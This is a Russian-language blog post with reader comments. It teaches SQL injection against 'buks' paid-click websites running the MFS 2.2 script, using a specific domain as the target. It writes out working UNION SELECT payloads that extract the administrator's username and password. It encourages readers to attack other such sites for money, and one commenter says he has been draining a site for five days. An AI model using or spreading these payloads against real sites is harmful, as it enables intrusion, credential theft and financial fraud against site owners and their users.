Вот я обещал выложить материал по SQL инъекцие, так вот получайте. Подопытным кроликом у нас будет обычный Гбукс, ну или гавно-букс, в общем его сейчас жестоко покараем, что бы другие их и не открывали.
И так для начала нам надо проверить, как же фильтруется id на странице новостей на буксе и вообще фильтруется ли. Проверим, идём к примеру по адресу
Пример: http://5b-u-x.com/news.php?id=pizda
Как узнать можно ли замутить инъекцию?
Значит идём в новости, там видим адрес
http://5b-u-x.com/47-new.html и вот это мы теперь пробуем менять на http://5b-u-x.com/news.php?id=47
Если прокатило, то давайте идти дальше.
Проверим фильтрацию страницы, на возможность вставки инъекции.
Значит заходим в любую новость на буксе а далее к адресу добовляем ковычку ‘.
http://5b-u-x.com/news.php?id=47′ ( Если у вас не прокатит с одной то пробуйте двойную «).
После того как мы сделали это, мы не видим надписи, что такой новости просто нет, а у нас всего пустая страница, раз нам не хотят писать, что такого id нету, значит этим мы и будем пользоваться.
Для тех, кто в этом совсем не шарит даю подсказку, гуглите полный FAQ по sql инъекции, сайт должен быть antichat.
Ну а если немного шарим в sql запросах, то погнали карать Гбуксы.
Известно, что у него используется скрипт mfs 2.2, по этому взглянем в файл news.php
Там мы видим в файле вот такой запрос он даёт информацию о новости
SELECT * FROM tb_news WHERE id='$newid'
* — берёт информацию из всех строчек
теперь глянем на структуру базы данных, а именно tb_news. Там у нас 4 поля.
— date;
— id;
— newstext;
— tema.
Давайте теперь модернизируем нашу ссылку, что бы провести инъекцию.
http://5b-u-x.com/news.php?id=0′ UNION SELECT 1,2,3,4 — (после двух минусов — пробел должен быть обязательно!)
id=0 был взят спецом, потому что нам нужен id не существующей новости. А иначе ничего не выйдет. Цифры 1,2,3,4 написаны тоже спициально, с целью вбить запрос в битые поля.
Что получилось: мы видим 2 и 3
Давайте дальше будем мучить ссылку.
http://5b-u-x.com/news.php?id=0′ UNION SELECT 1,(SELECT username FROM tb_users WHERE user_status=’admin’),(SELECT password FROM tb_users WHERE user_status=’admin’),4 — ( после — опять ставим пробел, что бы всё вышло).
И результат из этого мы увидели логин и пароль администратора. Ну и получается, что с буксом можно делать почти что угодно. Кстати на момент статьи на буксе были автовыплаты.
Все деньги были возвращены администратору и указана ошибка, которую он возможно исправил.
Так что если хотите провернуть такое дело, то ищите себе другой Гбукс.
Испытал на другом буксе, что в поиске отрыл и уже 5 дней его разоряю))
Ура работает, только жалко что не на всех MFS. Она не работает ни на старых ни на новых. Только на тех, что были в промежутке между ними, потом эту дыру зафиксили.
Иван, красава конечно, что такие вещи пишешь, но лично мне ничего не понятно, поскольку я в программировании вообще не шарю. Объясни по лучше пожалуйста.
А что прикольная инфа оказалась, правда большинство буксов зафиксили эту дыру. Но статья уже несколько месяцев на сайте, по этому могли и прочитать админы буксов.